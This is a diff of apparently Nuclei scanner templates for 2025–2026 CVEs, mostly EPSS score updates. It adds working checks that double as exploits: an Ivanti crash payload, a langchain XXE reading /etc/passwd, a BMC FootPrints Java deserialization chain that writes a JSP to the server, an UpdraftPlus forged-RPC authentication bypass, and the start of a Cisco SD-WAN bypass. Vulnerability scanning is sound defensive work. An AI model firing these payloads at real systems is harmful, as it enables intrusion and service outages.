+# digest: 4a0a0047304502202e72afd0230955ea7101f82008388d9b886b3c2fb3dc41ec592f3e3f14d0a83a02210096e9bd166ef3522b5cc8c16b9820ddb639cf66363c22c7811aaccb30687e75eb:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://github.com/keras-team/keras/pull/20751
    - https://towerofhanoi.it/writeups/cve-2025-1550/
  classification:
-    epss-score: 0.04785
-    epss-percentile: 0.89229
+    epss-score: 0.02803
+    epss-percentile: 0.84774
  metadata:
    max-request: 1
  tags: cve,cve2025,code,keras,rce,ml
@@ -77,4 +77,4 @@ code:
        part: response
        regex:
          - "root:.*:0:0:"
-# digest: 4b0a004830460221008ccb45949dee9e61e0de0546e5073a8266c76d75f360b8b63fcb22c304dfcc17022100e83d85eeb14278353b42e28ccee7717c95b33398c289bf8e8933ce817f7bbafb:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220397b16b7852b80eff0d9833cb912c5f17137b1ca151ef9e330a544b5df96bfab0220474718d09cac82ed59bb2e36d23e7d638f5f87813fe2e52bd44c5e0c2526472c:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.0
    cve-id: CVE-2025-22457
    cwe-id: CWE-121,CWE-787
-    epss-score: 0.55523
-    epss-percentile: 0.9801
+    epss-score: 0.99979
+    epss-percentile: 0.9998
    cpe: cpe:2.3:a:ivanti:connect_secure:*:-:*:*:*:*:*:*
  metadata:
    vendor: ivanti
@@ -37,20 +37,18 @@ variables:
  HOST: "{{Host}}"
  PORT: "{{Port}}"

-flow: http () && code()
+flow: http(1) && code(1)

 http:
  - method: GET
    path:
-      - "{{BaseURL}}"
      - "{{BaseURL}}/dana-na/auth/url_default/welcome.cgi"

-    stop-at-first-match: true
    matchers:
      - type: dsl
        internal: true
        dsl:
-          - 'contains(body, "Ivanti Connect Secure")'
+          - 'contains_any(body, "Ivanti Connect Secure", "Pulse Secure", "DSLaunchURL", "dana-na")'
          - 'status_code == 200'
        condition: and

@@ -63,60 +61,98 @@ code:
      import os
      import time
      import requests
+      import re

-      TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
-      TIMEOUT = 10
+      requests.packages.urllib3.disable_warnings()
+
+      PATHS = [
+          "/dana-na/auth/url_default/welcome.cgi",
+          "/dana-na/setup/psaldownload.cgi",
+      ]
+
+      IVANTI_MARKERS = [
+          "Ivanti Connect Secure",
+          "Pulse Secure",
+          "DSLaunchURL",
+          "welcome.cgi",
+          "dana-na",
+      ]
+
+      TIMEOUT_NORMAL = 5
+      TIMEOUT_PAYLOAD = 10
+
+      def safe_request(method, url, headers=None, timeout=5):
+          try:
+              if method == "GET":
+                  return requests.get(url, headers=headers, timeout=timeout, verify=False)
+              elif method == "POST":
+                  return requests.post(url, headers=headers, timeout=timeout, verify=False)
+          except requests.exceptions.RequestException:
+              return None

      class IvantiExploit:
          def __init__(self, host, port):
              self.host = host.rstrip("/")
              self.port = port

-          def check_vuln(self):
+          def build_url(self, path):
              host = self.host
              if not host.startswith("http://") and not host.startswith("https://"):
                  host = f"https://{host}"
+              return f"{host}:{self.port}{path}"

-              url = f"{host}:{self.port}{TARGET_PATH}"
+          def is_ivanti(self, response_text):
+              for marker in IVANTI_MARKERS:
+                  if marker in response_text:
+                      return True
+              return False

-              print(f"Testing {url}")
+          def check_vuln(self):
+              for path in PATHS:
+                  url = self.build_url(path)

-              #1  Pre-check: Check if target is reachable and status is 200.
-              try:
-                  r1 = requests.get(url, timeout=TIMEOUT, verify=False)
-              except requests.RequestException:
-                  r1 = None
-              if not r1 or r1.status_code != 200:
-                  print("Pre-check failed because target is not reachable or status is not 200.")
-                  return False
+                  # Step 1: Pre-check - must be reachable, return 200, and be Ivanti
+                  r1 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
+                  if not r1 or r1.status_code != 200:
+                      continue

-              print("Pre-check successful.")
+                  if not self.is_ivanti(r1.text):
+                      print(f"Not an Ivanti target (no Ivanti markers in response). Skipping.")
+                      return False

-              #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
+                  print(f"Ivanti fingerprint confirmed on {url}")

-              payload_header = {"X-Forwarded-For": "1"*2048}
-              try:
-                  r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
-              except requests.RequestException:
-                  r2 = None
-              if r2:
-                  print("Payload is not working.")
-                  return False
-              else:
-                  print("Payload is working.")
-              time.sleep(1)
+                  # Step 2: Send crash payload - POST with oversized X-Forwarded-For
+                  # A vulnerable server will CRASH (no response / timeout)
+                  # A patched or non-vulnerable server will respond normally
+                  payload_headers = {
+                      "User-Agent": "Mozilla/5.0",
+                      "X-Forwarded-For": "1" * 2048,
+                  }
+                  r2 = safe_request("POST", url, headers=payload_headers, timeout=TIMEOUT_PAYLOAD)

-              #3 Follow-up: Check if target is still reachable after payload.
+                  if r2 is not None:
+                      # Server responded normally = NOT crashed = NOT vulnerable
+                      print(f"Server responded with HTTP {r2.status_code}. Not vulnerable (no crash).")
+                      continue

-              try:
-                  r3 = requests.get(url, timeout=TIMEOUT, verify=False)
-              except requests.RequestException:
-                  r3 = None
-              if r3.status_code == 200:
-                  print(f"VULNERABLE: {self.host}:{self.port}")
-                  return True
+                  # r2 is None = no response = potential crash
+                  print("No response to payload (potential crash detected). Verifying...")

-              print("Target seems safe")
+                  # Step 3: Follow-up check - server should recover and return 200
+                  # Ivanti's web process auto-restarts after crash
+                  time.sleep(2)
+                  r3 = safe_request("GET", url, timeout=TIMEOUT_NORMAL)
+
+                  if r3 is not None and r3.status_code == 200:
+                      print(f"VULNERABLE: {self.host}:{self.port}{path}")
+                      return True
+                  else:
+                      status = r3.status_code if r3 else "no response"
+                      print(f"Follow-up returned {status}. Could not confirm crash recovery. Skipping.")
+                      continue
+
+              print("Target appears safe.")
              return False

      if __name__ == "__main__":
@@ -128,4 +164,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a00473045022100db8f543c5973945ecf64c8d34cda54313d563797e5485c38470ea4ee0520c4ba022005556285a385f01db026302e09f6a143dc684994d0287b92334d280fcfb8aa06:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100f71fdb80c77ca24cef2f96ac08cf4cad6896dd9385dcaa60e668b360c8997c4e022040a004ffc2b7df64105151be54efe6b70cb5dba83fea11da5aa9b5edc1738f0e:922c64590222798bb761d5b6d8e72950
@@ -21,8 +21,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.13848
-    epss-percentile: 0.94127
+    epss-score: 0.19506
+    epss-percentile: 0.97043
  metadata:
    verified: true
    vendor: gitlab
@@ -80,4 +80,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a0046304402203a183ecb8df431392258ad161e689e846d941bc8f2f719d60d1d85a2139b1d1e02205df5d1ddd0f6bde21bf6f42a51a9fb8e4400a892aea51d879629bcd339ee0662:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100e2c601dd7e8539fb1cd1a8d57d50bf4220717095b09e8f5129be02d8af437b69022045bb134b59416d6d526a7d108e5741aae74c2b9a5259c6dbf3b550a003fa84ee:922c64590222798bb761d5b6d8e72950
@@ -22,8 +22,8 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.49906
-    epss-percentile: 0.97735
+    epss-score: 0.97859
+    epss-percentile: 0.999
  metadata:
    verified: true
    max-request: 1
@@ -174,4 +174,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a004830460221008e71309e66678876eb172b2608f2ce6369c13dcc1a72d97d91723260c352fe850221009b50e1eb1f9c2cc874f4a101851715087859618d030ade4d811af96ffbe288b8:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022021be3e9059264c8820581780565b16fca2ac96911af9f2c90cfe41d5efa21d01022046d1be1a59699ebe8ad15c0ead0bbd72fbc528d106d41a32e27412a85972985d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,67 @@
+id: CVE-2025-32463
+
+info:
+  name: Sudo - Local Privilege Escalation via chroot
+  author: SeungAh-Hong
+  severity: critical
+  description: |
+    Sudo before 1.9.17p1 allows local users to obtain root access by using /etc/nsswitch.conf from a user-controlled directory with the --chroot (-R) option.
+  impact: |
+    A local attacker can escalate privileges to root by placing a crafted nsswitch.conf file and a malicious NSS library in a writable chroot directory, enabling arbitrary code execution with root privileges.
+  remediation: |
+    Upgrade sudo to version 1.9.17p1 or later.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-32463
+    - https://www.sudo.ws/security/advisories/chroot_bug/
+    - https://ubuntu.com/security/CVE-2025-32463
+    - https://www.wiz.io/vulnerability-database/cve/cve-2025-32463
+    - https://explore.alas.aws.amazon.com/CVE-2025-32463.html
+  classification:
+    cve-id: CVE-2025-32463
+    epss-score: 0.47467
+    epss-percentile: 0.98699
+    cvss-score: 9.3
+    cvss-metrics: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cwe-id: CWE-426
+  metadata:
+    verified: true
+  tags: cve,cve2025,sudo,priv-esc,linux,lpe,kev,vkev
+
+self-contained: true
+
+flow: code(1) && code(2)
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      whoami
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root"
+        negative: true
+
+  - engine:
+      - sh
+      - bash
+    source: |
+      OUT="$(sudo -n -R woot woot 2>&1 || true)"
+      printf "%s\n" "$OUT"
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - '(?i).*woot.*no such file or directory.*'
+
+      - type: dsl
+        dsl:
+          - "!contains(tolower(response), 'password')"
+          - "!contains(tolower(response), 'a password is required')"
+          - "!contains(tolower(response), 'is not in the sudoers file')"
+# digest: 490a004630440220136e0b750d94d77ac44ebd9c17cc4b63caefb98466cd8cfaf60285a02339b91c0220283634be0c9a783f5ed4b917983d4e860fc588e568f3b876e4cc5832c75e337c:922c64590222798bb761d5b6d8e72950
@@ -17,10 +17,10 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-54309
-    epss-score: 0.62083
-    epss-percentile: 0.98302
+    epss-score: 0.92034
+    epss-percentile: 0.99807
    cwe-id: CWE-287,CWE-362
-    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
+    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    vendor: crushftp
@@ -200,4 +200,4 @@ code:
      - type: word
        words:
          - "VULNERABLE:"
-# digest: 4a0a0047304502200fccb980d4b86d375f625c554a08e97caa01bf3262905aec0deddf690ec94188022100f926bae1fddb8fdbffecd4abec96ddb7c2c22738a1c5f6036bdad0f8bf764651:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e8682f6eb18cc49cd7ed9946e1e0df3225844789666f622234e0b55ce31f1ded022100fc067931b6b02b90f0d072f19a5e3a400dfb0a842bdedb8cd71da31370ce3cc1:922c64590222798bb761d5b6d8e72950
@@ -15,8 +15,8 @@ info:
    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
  classification:
-    epss-score: 0.31434
-    epss-percentile: 0.96653
+    epss-score: 0.29434
+    epss-percentile: 0.97955
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6216
@@ -115,4 +115,4 @@ code:
      - type: dsl  # type of the extractor
        dsl:
          - '"Reset URL: " + code_response'
-# digest: 490a00463044022036f7e320d37301c6bb40cd01b12cd55ddcde30c8915d64bf35cb476da12e0daf0220464e63311148a00f7e9855d83bbb046b18a7c7e12cff1cbde77f33018c91816e:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a004830460221009563513650966d7597d5c8a5a46d49fcc84fef8e698e57b330209c7771a59eb2022100d88d01c549b914a0710335ce592d29c7af52323cd856699f6780c90afc140b37:922c64590222798bb761d5b6d8e72950
@@ -17,8 +17,8 @@ info:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-68926
-    epss-score: 0.09474
-    epss-percentile: 0.92636
+    epss-score: 0.2903
+    epss-percentile: 0.9793
    cwe-id: CWE-798
  metadata:
    verified: true
@@ -0,0 +1,67 @@
+id: CVE-2025-6984
+
+info:
+  name: langchain-ai langchain - XML External Entity Injection
+  author: nukunga
+  severity: high
+  description: |
+    langchain-ai/langchain 0.3.63 contains an XML External Entity (XXE) injection caused by insecure XML parsing in EverNoteLoader using etree.iterparse(), letting attackers disclose sensitive information, exploit requires crafted malicious XML payload.
+  impact: |
+    Attackers can disclose sensitive local files, potentially exposing critical system information.
+  remediation: |
+    Update to the latest version that disables external entity references in XML parsing.
+  reference:
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6984
+    - https://huntr.com/bounties/a6b521cf-258c-41c0-9edb-d8ef976abb2a
+    - https://github.com/langchain-ai/langchain-community/commit/e842452
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
+    cvss-score: 7.5
+    cve-id: CVE-2025-6984
+    epss-score: 0.01531
+    epss-percentile: 0.71736
+    cwe-id: CWE-200
+  metadata:
+    verified: true
+  tags: cve,cve2025,langchain,xxe,intrusive,file-write
+
+self-contained: true
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import tempfile
+      import os
+      from langchain_community.document_loaders import EverNoteLoader
+
+      if __name__ == "__main__":
+
+          xxe_payload = '''<?xml version="1.0" ?>
+      <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
+      <note>
+          <content>&example;</content>
+      </note>'''
+
+          # Write payload to temporary file
+          with tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False) as f:
+              f.write(xxe_payload)
+              temp_file = f.name
+
+          try:
+              loader = EverNoteLoader(temp_file)
+              print(loader.load())
+          finally:
+              os.unlink(temp_file)
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "root:"
+          - "bin:"
+          - "daemon:"
+        condition: or
+# digest: 4b0a00483046022100b09735eee11bf2f17bfa345f0063b39ae6aa19e66bf2bc5fb1daefffced2bcd3022100a9c2a04c4d2d7a5beee4a942bcf043c172b2c2f2a5b4fb55dc326a0ee36dcd98:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,115 @@
+id: CVE-2025-71260
+
+info:
+  name: BMC FootPrints - Deserialization of Untrusted Data (RCE)
+  author: watchTowr,DhiyaneshDk
+  severity: critical
+  description: |
+    BMC FootPrints Asset Core is vulnerable to pre-authentication remote code execution via Java deserialization in the aspnetconfig endpoint.
+  impact: |
+    Authenticated attackers can execute arbitrary code remotely, fully compromising the application.
+  remediation: Upgrade BMC FootPrints to the latest patched version.
+  reference:
+    - https://labs.watchtowr.com/thanks-itsms-threat-actors-have-never-been-so-organized-bmc-footprints-pre-auth-remote-code-execution-chains/
+    - https://github.com/watchtowrlabs/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260/blob/main/watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-71260
+  metadata:
+    verified: true
+    max-request: 4
+    shodan-query: html:"/footprints/servicedesk/"
+  tags: cve,cve2025,servicedesk,bmc-software,rce,intrusive,file-upload
+
+flow: http(1) && code(1) && http(2) && http(3)
+
+http:
+  - raw:
+      - |
+        GET /footprints/servicedesk/passwordreset/request/ HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'contains(header, "SEC_TOKEN=")'
+        internal: true
+
+  - raw:
+      - |
+        GET /footprints/servicedesk/aspnetconfig?__VIEWSTATE={{filename}} HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+        Content-Length: {{len(payload)}}
+
+        __VIEWSTATE={{payload}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 500'
+        internal: true
+
+  - raw:
+      - |
+        GET /{{filename}}.jsp HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - "System Information"
+          - "OS User:"
+          - "Current Working Directory:"
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+    extractors:
+      - type: regex
+        name: os_user
+        part: body
+        regex:
+          - 'OS User:</strong>\s*([^<]+)'
+        group: 1
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import random
+      import string
+      import base64
+      from urllib.parse import quote
+
+      original_b64 = "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAGndlYmFwcHMvUk9PVC93YXRjaFRvd3IuanNwc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHEAfgADeHB1cgACW0Ks8xf4BghU4AIAAHhwAAABvjwlQCBwYWdlIGxhbmd1YWdlPSJqYXZhIiBjb250ZW50VHlwZT0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04IiBwYWdlRW5jb2Rpbmc9IlVURi04IiU+CjwlCiAgICBTdHJpbmcgb3NVc2VyID0gU3lzdGVtLmdldFByb3BlcnR5KCJ1c2VyLm5hbWUiKTsKICAgIFN0cmluZyBjd2QgPSBTeXN0ZW0uZ2V0UHJvcGVydHkoInVzZXIuZGlyIik7CiU+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KPGhlYWQ+CiAgICA8dGl0bGU+d2F0Y2hUb3dyIFN5c3RlbSBJbmZvPC90aXRsZT4KPC9oZWFkPgo8Ym9keT4KICAgIDxoMT5TeXN0ZW0gSW5mb3JtYXRpb248L2gxPgogICAgPHA+PHN0cm9uZz5PUyBVc2VyOjwvc3Ryb25nPiA8JT0gb3NVc2VyICU+PC9wPgogICAgPHA+PHN0cm9uZz5DdXJyZW50IFdvcmtpbmcgRGlyZWN0b3J5Ojwvc3Ryb25nPiA8JT0gY3dkICU+PC9wPgo8L2JvZHk+CjwvaHRtbD4Kc3IAPm9yZy5hc3BlY3RqLndlYXZlci50b29scy5jYWNoZS5TaW1wbGVDYWNoZSRTdG9yZWFibGVDYWNoaW5nTWFwO6sCH0tqVloCAANKAApsYXN0U3RvcmVkSQAMc3RvcmluZ1RpbWVyTAAGZm9sZGVydAASTGphdmEvbGFuZy9TdHJpbmc7eHIAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4AAABmQ2q4P0AAAAMdAABLnh4"
+
+      target = b"watchTowr"
+      random_name = ''.join(random.choices(string.ascii_letters + string.digits, k=9))
+
+      decoded = base64.b64decode(original_b64)
+      modified = decoded.replace(target, random_name.encode())
+      encoded = base64.b64encode(modified).decode()
+      payload = quote(encoded, safe='')
+
+      print(f"{random_name}|{payload}")
+
+    extractors:
+      - type: regex
+        name: filename
+        internal: true
+        regex:
+          - '^([^|]+)'
+        group: 1
+
+      - type: regex
+        name: payload
+        internal: true
+        regex:
+          - '\|(.+)$'
+        group: 1
+# digest: 4a0a00473045022100b2877e84e37d0dc5c41842be512b9309b95d850ad6474ae80a32462e6b81cfc60220533db7a89ed2ce39c410359b308c5bd8cac3d59d485712154572c64c2c94b5a9:41987585204b393149694b2205534b1a
@@ -18,9 +18,9 @@ info:
    cvss-score: 9.8
    cve-id: CVE-2025-9242
    cwe-id: CWE-787,CWE-362
-    epss-score: 0.61609
-    epss-percentile: 0.98284
-    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*
+    epss-score: 0.8637
+    epss-percentile: 0.99709
+    cpe: cpe:2.3:a:watchguard:fireware_os:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    shodan-query: html:"Watchguard" html:"Authentication Server"
@@ -552,4 +552,4 @@ code:
      - type: dsl
        dsl:
          - response
-# digest: 4a0a00473045022100b363a9ad7ddd4599726c8f60fc1a196f9ce272fb4b3b7a0947806b4bc2178751022070de0e99464f156f0e6f0adb6e644116b858a6a3e67e10a31531c6d1e2309b99:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207c5ec28507f297a730ae76ad5a6b684be07faadc08f975366ca089b08c207a630221008561c1d8f9122d261eb8d36e7a7343f7a89fb8881769d1027bb4ea62bc10cea7:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,88 @@
+id: CVE-2026-10795
+
+info:
+  name: UpdraftPlus WP Backup & Migration Plugin - Authentication Bypass
+  author: theamanrawat,s4e-io
+  severity: high
+  description: |
+    UpdraftPlus WP Backup & Migration Plugin for WordPress <= 1.26.4 contains an authentication bypass caused by insufficient validation in UpdraftPlus_Remote_Communications_V2::wp_loaded, letting unauthenticated attackers execute arbitrary RPC commands as admin, exploit requires no authentication.
+  impact: |
+    Unauthenticated attackers can execute arbitrary commands as admin, leading to remote code execution and full site compromise.
+  remediation: |
+    Update to the latest version of UpdraftPlus WP Backup & Migration Plugin.
+  reference:
+    - https://patchstack.com/database/vulnerability/wordpress-updraftplus-wp-backup-migration-plugin-1-26-4-unauthenticated-authentication-bypass-via-updraftcentral-udrpc-vulnerability
+    - https://teamupdraft.com/blog/important-security-update-for-updraftplus-and-updraftcentral-users/
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-10795
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 8.1
+    cve-id: CVE-2026-10795
+    epss-score: 0.03578
+    epss-percentile: 0.88
+    cwe-id: CWE-347
+  metadata:
+    max-request: 2
+    verified: true
+    shodan-query: http.html:"updraftplus"
+    fofa-query: body="/wp-content/plugins/updraftplus"
+  tags: cve,cve2026,wordpress,wp-plugin,updraftplus,auth-bypass,vkev
+
+code:
+  - engine:
+      - sh
+
+    source: |
+      #!/bin/sh
+      KEY_NAME="0.central.updraftplus.com"
+      TIMESTAMP=$(date +%s)
+      RAND=424243
+      JSON="{\"command\":\"users.get_users\",\"time\":${TIMESTAMP},\"key_name\":\"${KEY_NAME}\",\"rand\":${RAND},\"data\":{\"paged\":1,\"per_page\":50}}"
+      CT_B64=$(printf '%s' "$JSON" | openssl enc -aes-128-cbc -K 00000000000000000000000000000000 -iv 00000000000000000000000000000000 -base64 -A)
+      RSA_B64=$(dd if=/dev/zero bs=256 count=1 2>/dev/null | base64 | tr -d '\n')
+      RSA_LEN=$(printf '%03x' ${#RSA_B64})
+      CT_LEN=$(printf '%016x' ${#CT_B64})
+      UDRPC_MSG="${RSA_LEN}${RSA_B64}${CT_LEN}${CT_B64}"
+      ENCODED_MSG=$(printf '%s' "$UDRPC_MSG" | sed 's/+/%2B/g; s/\//%2F/g; s/=/%3D/g')
+      printf 'format=1&key_name=%s&udrpc_message=%s' "$KEY_NAME" "$ENCODED_MSG"
+
+http:
+  - raw:
+      - |
+        GET /wp-content/plugins/updraftplus/readme.txt HTTP/1.1
+        Host: {{Hostname}}
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "UpdraftPlus")'
+          - 'compare_versions(version, "<= 1.26.4")'
+        condition: and
+        internal: true
+
+    extractors:
+      - type: regex
+        name: version
+        part: body
+        group: 1
+        regex:
+          - "(?i)Stable tag:\\s*([\\d.]+)"
+        internal: true
+
+  - raw:
+      - |
+        POST / HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded
+
+        {{code_response}}
+
+    matchers-condition: and
+    matchers:
+      - type: dsl
+        dsl:
+          - 'status_code == 200'
+          - 'contains(body, "\"udrpc_message\":\"")'
+        condition: and
+# digest: 4a0a00473045022100a881b582fed632f80412c76035e841db6494221b4f102f999bad2faddc3da3fb02204c4daa0834d7e0f354be0bab3c44eceafe0a2bd76d77e86fa6fcdd94188ae214:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,275 @@
+id: CVE-2026-20182
+
+info:
+  name: Cisco Catalyst SD-WAN Controller - vHub Authentication Bypass
+  author: sfewer-r7,Crypto-Cat,pussycat0x,DhiyaneshDk
+  severity: critical
+  description: |
+    Cisco Catalyst SD-WAN Controller and Manager contain an authentication bypass caused by improper peering authentication mechanism, letting unauthenticated remote attackers obtain administrative privileges, exploit requires sending crafted requests.
+  remediation: |
+    Update to the latest fixed version as per Cisco advisory.
+  impact: |
+    Unauthenticated attackers can gain administrative access and manipulate network configurations, risking full control of the SD-WAN fabric.
+  reference:
+    - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-sdwan-rpa2-v69WY2SW
+    - https://blog.talosintelligence.com/sd-wan-ongoing-exploitation/
+    - https://www.rapid7.com/blog/post/ve-cve-2026-20182-critical-authentication-bypass-cisco-catalyst-sd-wan-controller-fixed/
+    - https://nvd.nist.gov/vuln/detail/CVE-2026-20182
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 10.0
+    cve-id: CVE-2026-20182
+    epss-score: 0.87693
+    epss-percentile: 0.99738
+    cwe-id: CWE-287
+    cpe: cpe:2.3:a:cisco:catalyst_sd-wan_controller:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: cisco
+    product: catalyst_sd-wan_controller
+    shodan-query: port:12346 product:"Cisco SD-WAN"
+    fofa-query: port="12346" && product="Cisco SD-WAN"
+  tags: cve,cve2026,cisco,sdwan,auth-bypass,network,critical,kev,vuln,vkev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import os
+      import struct
+      import socket
+      import subprocess
+      import time
+      import select
+      import secrets
+      import tempfile
+      import shutil
+
+      MSG_HELLO         = 0x05
+      MSG_CHALLENGE     = 0x08
+      MSG_CHALLENGE_ACK = 0x09
+      MSG_TEAR_DOWN     = 0x0B
+
+      DEV_VHUB  = 2
+      HDR_FLAGS = 0xA0
+      DOMAIN_ID = 1
+      SITE_ID   = 100
+
+      MSG_NAMES = {
+          0x05: "Hello",
+          0x08: "CHALLENGE",
+          0x09: "CHALLENGE_ACK",
+          0x0B: "TEAR_DOWN",
+          0x0D: "REGISTER_TO_VMANAGE",
+          0x0E: "VMANAGE_TO_PEER",
+      }
+
+      def build_header(msg_type):
+          byte0 = msg_type & 0x0F
+          byte1 = (DEV_VHUB & 0x0F) << 4
+          return struct.pack(">BBBBII", byte0, byte1, HDR_FLAGS, 0x00,
+                             DOMAIN_ID, SITE_ID)
+
+      def hdr_msg_type(data):
+          return data[0] & 0x0F if data else None
+
+      def build_tlv(tlv_type, value):
+          if isinstance(value, str):
+              value = value.encode()
+          return struct.pack(">HH", tlv_type, len(value)) + value
+
+      def build_challenge_ack_body():
+          uuid_str   = secrets.token_hex(16)
+          server_key = secrets.token_hex(16)
+
+          tlvs  = build_tlv(0x0013, struct.pack(">H", 0))
+          tlvs += build_tlv(0x0014, struct.pack(">H", 1))
+          tlvs += build_tlv(0x0018, struct.pack(">B", 1))
+          tlvs += build_tlv(0x0019, struct.pack(">B", 0))
+          tlvs += build_tlv(0x0006, uuid_str)
+          tlvs += build_tlv(0x0032, server_key)
+
+          body  = struct.pack(">BB", 0, 0)
+          body += struct.pack(">B", 6)
+          body += tlvs
+          return body
+
+      def build_hello_body(port):
+          body  = struct.pack(">BBBB", 0x00, 0x00, 0x00, 0x00)
+          body += struct.pack(">H", 2)
+          body += socket.inet_aton("127.0.0.1")
+          body += struct.pack(">H", port)
+          body += struct.pack(">I", 1)
+          body += b"\x00" * 20
+          body += struct.pack(">II", 10000, 60000)
+          body += struct.pack(">B", 2)
+          body += build_tlv(0x0021, struct.pack(">B", 0))
+          body += build_tlv(0x0022, struct.pack(">B", 0))
+          return body
+
+      def generate_self_signed_cert():
+          tmpdir = tempfile.mkdtemp(prefix="nuclei_sdwan_")
+          cert_path = os.path.join(tmpdir, "cert.pem")
+          key_path  = os.path.join(tmpdir, "key.pem")
+
+          result = subprocess.run(
+              [
+                  "openssl", "req", "-x509", "-newkey", "rsa:2048",
+                  "-keyout", key_path,
+                  "-out",    cert_path,
+                  "-days",   "1",
+                  "-nodes",
+                  "-subj",   "/CN=nuclei/O=nuclei/C=US",
+                  "-quiet",
+              ],
+              capture_output=True,
+              timeout=15,
+          )
+          if result.returncode != 0:
+              return None, None, tmpdir
+          return cert_path, key_path, tmpdir
+
+      def dtls_connect(host, port, cert_path, key_path):
+          cmd = [
